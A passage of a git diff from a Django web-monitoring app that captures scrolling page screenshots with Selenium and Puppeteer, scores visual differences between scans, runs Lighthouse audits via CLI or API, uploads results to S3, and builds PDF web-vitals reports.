self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '': + ids = self.configs.get('mask_ids').split(',') + for id in ids: + try: + driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + # mask all Global mask ids that are active + active_masks = Mask.objects.filter(active=True) + if len(active_masks) != 0: + for mask in active_masks: + try: + driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + # scroll one frame at a time and capture screenshot + final_img = None + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(self.configs.get('timeout', 300), start_time): + break + + # scroll single frame + if index != 0: + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(self.configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + + print(f'new_height => {new_height} | height_diff => {height_diff}') + + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait( + driver=driver, + interval=int(self.configs.get('interval', 5)), + min_wait_time=int(self.configs.get('min_wait_time', 10)), + max_wait_time=int(self.configs.get('max_wait_time', 30)), + ) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # resizing image to remove duplicate portions + img = I.open(image) + width, height = img.size + left = 0 + top = height - (height_diff/2) + right = width + _bottom = height + new_img = img.crop((left, top, right, _bottom)) + new_img.save(image, quality=100) + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + self.add_images(final_img, image).save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + os.remove(image) + index += 1 + + else: + bottom = True + + # saving image + self.save_image(pic_id=pic_id_2, image=final_img) + + # clean up + if not driver_present: + quit_driver(driver) + + # return images + return self.image_array + + + + + async def scan_p(self) -> list: + """ + Using Puppeteer, grabs full length screenshots of the website and uploads + them to s3. + + Returns -> self.image_array list + """ + + @sync_to_async + def get_page(): + _page = self.scan.page + return _page + + # getting Scanerr `page` object + _page = await get_page() + + # starting up puppeteer driver + driver = await driver_init_p( + window_size=self.configs.get('window_size', '1920,1080'), + wait_time=int(self.configs.get('max_wait_time', 30)) + ) + + # initing new puppeteer page + page = await driver.newPage() + + # setting configs for driver + sizes = self.configs.get('window_size', '1920,1080').split(',') + is_mobile = False + if self.configs.get('device') == 'mobile': + is_mobile = True + + page_options = { + 'waitUntil': 'networkidle0', + # 'timeout': int(self.configs.get('max_wait_time', 30))*1000 + } + + # requesting page_url to get height of + await page.goto(_page.page_url, page_options) + + # waiting for page to load + await wait_for_page(page=page) + + # getting full page_height + page_height = int(sizes[1]) + if self.configs.get('auto_height', True): + page_height = await page.evaluate("document.scrollingElement.scrollHeight;") + + # setting more driver configs + viewport = { + 'width': int(sizes[0]), + 'height': int(page_height), + 'isMobile': is_mobile, + } + userAgent = ( + "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ + (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + ) + emulate_options = { + 'viewport': viewport, + 'userAgent': userAgent + } + + # setting device type + if self.configs.get('device') == 'mobile': + await page.emulate(emulate_options) + else: + await page.setViewport(viewport) + + # requesting page_url + await page.goto(_page.page_url, page_options) + + # handling anamations + if self.configs.get('disable_animations') == True: + try: + # inserting animation pausing script + await page.evaluate(self.pause_animations_script) + except: + print('cannot pause animations') + try: + # pausing videos + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) + + # mask all listed ids + if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '': + ids = self.configs.get('mask_ids').split(',') + for id in ids: + try: + await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via id provided') + + + # mask all Global mask ids that are active + @sync_to_async + def get_active_global_masks(): + masks = Mask.objects.filter(active=True) + active_masks = [] + if len(masks) > 0: + for mask in masks: + active_masks.append(mask.id) + return active_masks + + active_masks = await get_active_global_masks() + + for mask in active_masks: + try: + await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") + print('masked an element') + except: + print('cannot find element via global mask id provided') + + @sync_to_async + def save_image(*args, **kwargs): + self.save_image(pic_id=pic_id, image=final_img) + + # scroll one frame at a time and capture screenshot + final_img = None + index = 0 + last_height = -1 + bottom = False + start_time = datetime.now() + while not bottom: + + # checking if maxed out time + if self.check_timeout(int(self.configs.get('timeout', 300)), start_time): + break + + # scroll single frame + if index != 0: + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(self.configs.get('min_wait_time', 10))) + + # get current position and compare to previous + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # interact with and wait for page to load + await page.mouse.move(0, 0) + await page.mouse.move(0, 100) + time.sleep(int(self.configs.get('min_wait_time', 10))) + await wait_for_page(page=page) + + # get screenshot + await page.screenshot({'path': f'{pic_id}.png'}) + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + + # resizing image to remove duplicate portions + img = I.open(image) + width, height = img.size + left = 0 + top = height - (height_diff) + right = width + _bottom = height + new_img = img.crop((left, top, right, _bottom)) + new_img.save(image, quality=100) + + # adding new image to bottom of existing image (if not index = 0) + pic_id_2 = uuid.uuid4() + if index != 0 and final_img is not None: + self.add_images(final_img, image).save(f'{pic_id_2}.png') + os.remove(final_img) + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + else: + I.open(image).save(f'{pic_id_2}.png') + final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') + + os.remove(image) + index += 1 + + else: + bottom = True + + # saving image + await save_image(pic_id=pic_id, image=final_img) + + # cleaning up + await driver.close() + + # returning images + return self.image_array + + + + + def test(self, test: object, index: int=None) -> dict: + """ + Compares each screenshot between the two scans and records + a score out of 100%. + + Compairsons used : + - Structral Similarity Index (ssim) + - PIL ImageChop Differences, Ratio + - cv2 ORB Brute-force Matcher, Ratio + + Expects: { + 'test': object, + 'index': int, + } + + Returns -> data: { + 'average_score' : float(0-100), + 'images' : dict, + } + """ + + # setup temp dirs + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}')) + + # temp root + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}') + + # loop through and download each img in scan and compare it. + pre_scan_images = test.pre_scan.images + img_test_results = [] + scores = [] + i = 0 + + if index is not None: + pre_scan_images = [test.pre_scan.images[index]] + i = index + + # catching user error when scan_type + # did not include 'vrt' + if pre_scan_images is None: + images_delta = { + "average_score": None, + "images": None, + } + return images_delta + + + for pre_img_obj in pre_scan_images: + + # getting pre_scan image + pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') + with open(pre_img_path, 'wb') as data: + self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + + # getting post_scan image + try: + post_img_obj = test.post_scan.images[i] + except: + post_img_obj = None + + if post_img_obj is not None: + post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') + with open(post_img_path, 'wb') as data: + self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + + # open images with PIL Image library + post_img = I.open(post_img_path) + pre_img = I.open(pre_img_path) + + # check and reformat image sizes if necessary + pre_img_w, pre_img_h = pre_img.size + post_img_w, post_img_h = post_img.size + + # pre_img is longer + if pre_img_h > post_img_h: + print(f'pre_img is larger, adjusting...') + new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode) + new_pre_img.save(pre_img_path, quality=100) + pre_img = I.open(pre_img_path) + # post_img is longer + if post_img_h > pre_img_h: + print(f'post_img is larger, adjusting...') + new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode) + new_post_img.save(post_img_path, quality=100) + post_img = I.open(post_img_path) + + + # build two new images with differences highlighted + def highlight_diffs(pre_img_path, post_img_path, index): + ''' + Returns -> two new images with highlights & float(ssim_score) + ''' + # Load the images + image1 = cv2.imread(pre_img_path) + image2 = cv2.imread(post_img_path) + + # Convert the images to grayscale + gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY) + gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY) + + # Compute the SSIM map + (ssim_score, diff) = structural_similarity(gray1, gray2, full=True) + + # Highlight the differences + diff = (diff * 255).astype("uint8") + + # Threshold the difference map + _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU) + + # Find contours of the differences + contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) + + # Draw rectangles around the differences + for contour in contours: + (x, y, w, h) = cv2.boundingRect(contour) + cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2) + cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2) + + # Save the output images + img_1_id = uuid.uuid4() + img_2_id = uuid.uuid4() + cv2.imwrite(temp_root + f"/{img_1_id}.png", image1) + cv2.imwrite(temp_root + f"/{img_2_id}.png", image2) + img_objs = save_images(img_1_id, img_2_id, index) + + data = { + "img_objs": img_objs, + "ssim_score": ssim_score + } + + return data + + + # saving old images to new test.id path + def save_images(pre_img_id, post_img_id, index): + image_ids = [pre_img_id, post_img_id] + img_objs = [] + for img_id in image_ids: + image = os.path.join(temp_root, f'{img_id}.png') + remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + + # building img obj + obj = { + "id": str(img_id), + "url": image_url, + "path": remote_path, + "index": index, + } + img_objs.append(obj) + + return img_objs + + + # test images with PIL + def pil_score(pre_img, post_img): + try: + if (pre_img.mode != post_img.mode) \ + or (pre_img.size != post_img.size) \ + or (pre_img.getbands() != post_img.getbands()): + raise Exception('images are not comparable') + + # Generate diff image in memory. + diff_img = ImageChops.difference(pre_img, post_img) + + # Calculate difference as a ratio. + stat = ImageStat.Stat(diff_img) + diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100 + pil_img_score = (100 - diff_ratio) + # print(f'PIL score -> {pil_img_score}') + return pil_img_score + + except Exception as e: + print(e) + + + # test with cv2 + def cv2_score(pre_img, post_img): + try: + orb = cv2.ORB_create() + + # convert to array + pre_img_array = numpy.array(pre_img) + post_img_array = numpy.array(post_img) + + # detect keypoints and descriptors + kp_a, desc_a = orb.detectAndCompute(pre_img_array, None) + kp_b, desc_b = orb.detectAndCompute(post_img_array, None) + + # define the bruteforce matcher object + bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) + + # perform matches. + matches = bf.match(desc_a, desc_b) + + # Look for similar regions with distance < 20. (from 0 to 100) + similar_regions = [i for i in matches if i.distance < 20] + if len(matches) == 0: + cv2_img_score = 100 + else: + cv2_img_score = (len(similar_regions) / len(matches)) * 100 + # print(f'cv2 -> {cv2_img_score}') + + return cv2_img_score + + except Exception as e: + print(e) + + + + # test images + try: + # generating new highlighted images and score via ssim + ssim_results = highlight_diffs(pre_img_path, post_img_path, i) + pre_img_diff = ssim_results['img_objs'][0] + post_img_diff = ssim_results['img_objs'][1] + + # ssim scoring + ssim_img_score = ssim_results['ssim_score'] * 100 + + # pillow scoring + pil_img_score = pil_score(pre_img, post_img) + + # pixel perfect scoring + cv2_img_score = cv2_score(pre_img, post_img) + + # weighted average + img_score = ((ssim_img_score * 2) + (pil_img_score * 1) + (cv2_img_score * 5)) / 8 + + # saving old images to test.id path + old_imgs = save_images(pre_img_obj['id'], post_img_obj['id'], i) + pre_img = old_imgs[0] + post_img = old_imgs[1] + + except Exception as e: + print(e) + img_score = None + pre_img = None + post_img = None + pre_img_diff = None + post_img_diff = None + + # create img test obj and add to array + img_test_obj = { + "index": i, + "pre_img": pre_img, + "post_img": post_img, + "pre_img_diff": pre_img_diff, + "post_img_diff": post_img_diff, + "score": img_score, + } + + img_test_results.append(img_test_obj) + scores.append(img_score) + + # remove local copies + if post_img_obj is not None: + try: + os.remove(post_img_path) + except Exception as e: + print(e) + try: + os.remove(pre_img_path) + except Exception as e: + print(e) + + i += 1 + + # remove temp dir + shutil.rmtree(temp_root) + + # averaging scores and storing in images_delta obj + try: + avg_score = statistics.fmean(scores) + except: + avg_score = None + + # formatting response + images_delta = { + "average_score": avg_score, + "images": img_test_results, + } + + # returning response + return images_delta + + + + + diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index ad917045..f456b93f 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -1,25 +1,65 @@ -import subprocess, json +import subprocess, json, uuid, boto3, os, requests from ..models import Site, Scan +from scanerr import settings + + + class Lighthouse(): - """Initializes Google's Lighthouse CLI and runs an audit of the site""" + """ + Initializes Google's Lighthouse CLI and runs an audit of the site + Use self.get_data() to init a run + """ - def __init__(self, site=None, configs=None): - self.site = site + + def __init__(self, scan=None, configs=None): + self.scan = scan + self.site = self.scan.site + self.page = self.scan.page self.configs = configs self.sizes = configs['window_size'].split(',') + self.audits_url = '' + + # initial scores object + self.scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + } + + # initial audits object + self.audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best_practices": [], + "pwa": [], + "crux": [] + } - def init_audit(self): + def lighthouse_cli(self): + """ + Serves as the CLI method for collecting LH metrics. + Creates a sub process running lighthouse CLI + + Returns --> raw LH data (Dict) + """ + + # initiating subprocess for LH CLI proc = subprocess.Popen([ 'lighthouse', '--config-path=api/utils/custom-config.js', '--quiet', - self.site.site_url, + self.page.page_url, '--plugins=lighthouse-plugin-crux', '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', f'--screenEmulation.width={self.sizes[0]}', @@ -27,129 +67,189 @@ def init_audit(self): f'--screenEmulation.{self.configs["device"]}', '--output', 'json', - ], + ], stdout=subprocess.PIPE, user='app', ) + + # retrieving data from process stdout_value = proc.communicate()[0] - return stdout_value + + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') + # clean string of any errors + delm = '{\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] - def get_data(self): + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') + + # converting stdout str into Dict + stdout_json = json.loads(stdout_value) + return stdout_json + + + + + def lighthouse_api(self) -> dict: + """ + Serves as the API method for collecting LH metrics. + Sends API requests to + + Returns --> raw LH data (Dict) + """ + + # defaults + headers = { + "content-type": "application/json", + } + params = { + "url": self.page.page_url, + "strategy": self.configs["device"], + "key": settings.GOOGLE_CRUX_KEY + } + + # cats + cats = 'category=ACCESSIBILITY&category=BEST_PRACTICES&category=PERFORMANCE&category=PWA&category=SEO' - try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') + # setting up initial request + res = requests.get( + url=f'{settings.LIGHTHOUSE_ROOT}?{cats}', + params=params, + headers=headers + ).json() - # clean string of any errors - delm = '{\n "lighthouseVersion"' - stdout_string = delm + stdout_string.split(delm)[1] + # try to get just LH response + res = res.get('lighthouseResult') - # encode back to bytes - stdout_value = stdout_string.encode('iso-8859-1') + # return response + return res + + + def process_data(self, stdout_json: dict) -> dict: + """ + Accepts JSON data from either CLI or API method + and parses into usable Scanerr data. + + Expects the following: + stdout_json: or json from output + + Returns --> formatted LH data + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # changing audits & score names before iterations + self.scores['best-practices'] = self.scores.pop('best_practices') + self.audits['best-practices'] = self.audits.pop('best_practices') + self.audits['lighthouse-plugin-crux'] = self.audits.pop('crux') + + # iterating through categories to get relevant lh_audits + # and store them in their respective `audits = {}` obj + for cat in self.audits: + # skipping non-existent cat + if stdout_json["categories"].get(cat) is None: + continue + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + self.audits[cat].append(audit) + + # get scores from each category + score_queue = [] + for cat in self.scores: + # skipping non-existent cat + if stdout_json["categories"].get(cat) is None: + continue + # record score + self.scores[cat] = round(stdout_json["categories"][cat]["score"] * 100) + # add to queue + score_queue.append(self.scores[cat]) + + # changing audits & score names back to original + self.scores['best_practices'] = self.scores.pop('best-practices') + self.audits['best_practices'] = self.audits.pop('best-practices') + self.audits['crux'] = self.audits.pop('lighthouse-plugin-crux') + + # dynamically calculating average + average_score = round(sum(score_queue)/len(score_queue)) + self.scores['average'] = average_score + + + # save audits data as json file + file_id = uuid.uuid4() + with open(f'{file_id}.json', 'w') as fp: + json.dump(self.audits, fp) - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + # upload to s3 and return url + audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json') + remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json' + root_path = settings.AWS_S3_URL_PATH + self.audits_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(audit_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + # remove local copy + os.remove(audit_file) + + data = { + "scores": self.scores, + "audits": self.audits_url, + "failed": False + } + + # returning data + return data + + + + def get_data(self): + + scan_complete = False + failed = None + attempts = 0 + + # trying lighthouse scan untill success or 2 attempts + while not scan_complete and attempts < 2: + + try: + # CLI on first attempt + if attempts < 1: + raw_data = self.lighthouse_cli() + self.process_data(stdout_json=raw_data) - # attempting crux - try: - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - except: - crux_score = 0 - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - else: - raise RuntimeError + # API after first attempt + if attempts >= 1: + raw_data = self.lighthouse_api() + self.process_data(stdout_json=raw_data) + + scan_complete = True + failed = False + + except Exception as e: + print(f'LIGHTHOUSE FAILED (attempt {attempts}) --> {e}') + scan_complete = False + failed = True + attempts += 1 + + data = { + "scores": self.scores, + "audits": self.audits_url, + "failed": failed + } - except Exception as e: - print(e) - - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "pwa": None, - "crux": None, - "average": None - } - - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best_practices": [], - "pwa": [], - "crux": [] - } - - data = { - "scores": scores, - "audits": audits, - "failed": True - } - + # returning final data return data diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py index 77dffb4a..e92ff8bd 100644 --- a/app/api/utils/reporter.py +++ b/app/api/utils/reporter.py @@ -1,43 +1,61 @@ from ..models import * -import time, os, sys, json, boto3 -import PIL.Image as Img from scanerr import settings -from datetime import datetime, timedelta from reportlab.lib.pagesizes import letter from reportlab.lib.units import inch from reportlab.lib.colors import HexColor from reportlab.pdfgen import canvas +import os, json, boto3, textwrap, requests + + -class Reporter(): - ''' - Used for generating web vitals reports for the passed `Site` obj +class Reporter(): + """ + Used for generating web vitals reports for + the associated `Page` & `Scan` Expects -> { - "report": , + 'report': , + 'scan' : , } - returns --> - - ''' + Use self.generate_report() to create a new report - def __init__(self, report, scan=None): + Returns -> data: { + 'report' : object, + 'success': bool, + 'message': str + } + """ + + + + + def __init__(self, report: object, scan: object=None): + + # getting report, scan, & page self.report = report - self.site = self.report.site + self.page = self.report.page + self.scan = scan + + # retrieveing latest scan if none if scan is None: - self.scan = Scan.objects.get(id=self.site.info['latest_scan']['id']) - else: - self.scan = scan + try: + self.scan = Scan.objects.get(id=self.page.info['latest_scan']['id']) + except: + self.scan = None - #building paths & canvas template + + # building paths & canvas template if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') else: os.makedirs(f'{settings.BASE_DIR}/temp') self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') + # setting default colors self.page_index = 0 self.text_color = self.report.info['text_color'] self.highlight_color = self.report.info['highlight_color'] @@ -45,54 +63,103 @@ def __init__(self, report, scan=None): self.c = canvas.Canvas(self.local_path, letter) self.y = 9 + # define s3 instance + self.s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + - def setup_page(self): + + + def setup_page(self) -> None: # sets the defaults for a new page self.c.setFillColor(HexColor(self.background_color)) self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1) + return None + - def end_page(self): + + def end_page(self) -> None: # adds page number and ends page self.c.setFont('Helvetica-Bold', 15) self.c.setFillColor(HexColor(self.text_color)) self.page_index += 1 self.c.drawString(7.7*inch, .3*inch, str(self.page_index)) self.c.showPage() + return None + + - def draw_page_title(self, title): + def draw_page_title(self, title: str) -> None: # adds a title to the given page self.c.setFont('Helvetica-Bold', 32) self.c.setFillColor(HexColor(self.text_color)) self.c.drawCentredString(4.25*inch, 10*inch, title) + return None + - def publish_report(self): - self.c.save() - remote_path = f'static/sites/{self.report.site.id}/{self.report.id}.pdf' - s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) + def publish_report(self) -> None: + # saves report and uploads to s3 + self.c.save() + remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf' # uploading package to remote s3 with open(self.local_path, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), remote_path, ExtraArgs={ 'ACL': 'public-read', 'ContentType': 'application/pdf'} ) - + # building and saving report_url report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0' - self.report.path = report_url self.report.save() os.remove(self.local_path) + return None + + + + + def draw_wrapped_line( + self, + text: str, + length: int, + x_pos: int, + y_pos: int, + y_offset: int + ) -> None: + """ + :param text: the raw text to wrap + :param length: the max number of characters per line + :param x_pos: starting x position + :param y_pos: starting y position + :param y_offset: the amount of space to leave between wrapped lines + """ + # Wraps the passed test at a certain char_length + if len(text) > length: + wraps = textwrap.wrap(text, length, break_long_words=True) + for x in range(len(wraps)): + self.c.drawString(x_pos*inch, y_pos*inch, wraps[x]) + y_pos -= y_offset + y_pos += y_offset # add back offset after last wrapped line + else: + self.c.drawString(x_pos*inch, y_pos*inch, text) + return None - def cover_page(self): + + def cover_page(self) -> None: + """ + Builds the cover page with a title + + Returns -> None + """ + # background and title self.setup_page() @@ -125,28 +192,45 @@ def cover_page(self): self.c.setFont('Helvetica-Bold', 45) self.c.setFillColor(HexColor(self.text_color)) self.c.drawString(.5*inch, 10*inch, 'Web Vitals for') - if len(self.site.site_url) <= 12: - self.c.drawString(.5*inch, 9*inch, self.site.site_url) - elif 12 < len(self.site.site_url): - extra_chars = len(self.site.site_url) - 12 - m = (3/5) + if len(self.page.page_url) <= 12: + self.c.setFont('Helvetica-Bold', 30) + self.c.drawString(.5*inch, 9*inch, self.page.page_url) + elif 12 < len(self.page.page_url): + extra_chars = len(self.page.page_url) - 12 + m = (2/5) + y_offset = .5 + length = int(20 + (extra_chars * m)) self.c.setFont('Helvetica-Bold', int(45 - (extra_chars * m))) self.c.setFillColor(HexColor(self.text_color)) - self.c.drawString(.5*inch, 9*inch, self.site.site_url) + self.draw_wrapped_line(text=self.page.page_url, length=length, x_pos=.5, y_pos=9, y_offset=y_offset) # cover img cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png") self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto') - self.end_page() - + return None + - def get_score_data(self, score, is_binary=False): + def get_score_data(self, score: float, is_binary: bool=False) -> dict: + """ + Using the passed 'score', decide on + which grade and color to return. + + Expects: { + 'score' : float, + 'is_binary' : bool + } + + Returns -> dict + """ + + # calc score if binary score = float(score) if is_binary: score = score*100 + # defining score types score_types = { "a": { "grade": "A", @@ -175,6 +259,7 @@ def get_score_data(self, score, is_binary=False): } + # calculate grade if score >= 80: grade = score_types['a'] elif 80 > score >= 70: @@ -188,10 +273,16 @@ def get_score_data(self, score, is_binary=False): else: grade = score_types['f'] + # return return grade - def get_cat_string(self, cat): + + + def get_cat_string(self, cat: str) -> str: + """ + Returns the string coresponding to the passed 'cat' + """ if cat == 'fonts': string = 'Fonts' @@ -199,8 +290,8 @@ def get_cat_string(self, cat): string = 'Bad CSS' elif cat == 'jQuery': string = 'jQuery' - elif cat == 'requests': - string = 'Requests' + elif cat == 'images': + string = 'Images' elif cat == 'pageWeight': string = 'Page Weight' elif cat == 'serverConfig': @@ -228,18 +319,46 @@ def get_cat_string(self, cat): return string + + + + def get_audits(self, uri: str) -> dict: + """ + Downloads the JSON file from the passed uri + and return the data as a python dict + """ + res = requests.get(uri) + audits = res.json() + return audits + - def create_data(self, data_type=str): + + def create_data(self, data_type: str) -> None: + """ + Paints the data for the passed 'data_type', + either 'lighthouse' or 'yellowlab'. + + Expects: { + 'data_type': str + } + + Returns -> None + """ + + # add new page self.setup_page() + # decide on which data type if data_type == 'yellowlab': data = self.scan.yellowlab + data['audits'] = self.get_audits(data['audits']) page_title = 'Yellow Lab' avg_score = 'globalScore' - + if data_type == 'lighthouse': data = self.scan.lighthouse + data['audits'] = self.get_audits(data['audits']) page_title = 'Lighthouse' avg_score = 'average' @@ -298,7 +417,6 @@ def create_data(self, data_type=str): f'{data["scores"][avg_score]}/100' ) - # creating new page at limit --> 20 items if logs_count >= 20: self.end_page() @@ -310,8 +428,6 @@ def create_data(self, data_type=str): # creating space btw sections if c_count > 0 and logs_count != 0: begin_y = (self.y - .2) - - # creating individual grade cards grade_obj = self.get_score_data(data['scores'][cat]) @@ -341,7 +457,6 @@ def create_data(self, data_type=str): cat_string ) - p_count = 0 for policy in data['audits'][cat]: @@ -361,7 +476,6 @@ def create_data(self, data_type=str): policy_value = policy["displayValue"] binary = True - if len(policy_text) < 53: # creating log box self.c.setFont('Helvetica', 9) @@ -403,60 +517,63 @@ def create_data(self, data_type=str): (f'{policy_value}') ) - p_count += 1 logs_count += 1 self.y = (begin_y - (space * p_count)) c_count += 1 - - self.end_page() + return None + def generate_report(self) -> dict: + """ + Generates a new Report. + Returns -> data: { + 'report' : object, + 'success': bool, + 'message': str + } + """ + # setting defaults + message = 'Scan Page first' + success = False - - - - - - - - - - - - - - - - - - - def make_test_report(self): + # generating if scan is available + if self.scan: + + # add title + self.cover_page() - self.cover_page() - - if 'lighthouse' in self.report.type or 'full' in self.report.type: - self.create_data(data_type='lighthouse') - - if 'yellowlab' in self.report.type or 'full' in self.report.type: - self.create_data(data_type='yellowlab') + # build lighthouse data + if 'lighthouse' in self.report.type or 'full' in self.report.type: + self.create_data(data_type='lighthouse') - if 'crux' in self.report.type or 'full' in self.report.type: - self.setup_page() - self.draw_page_title('CRUX') - self.end_page() + # build yellowlab data + if 'yellowlab' in 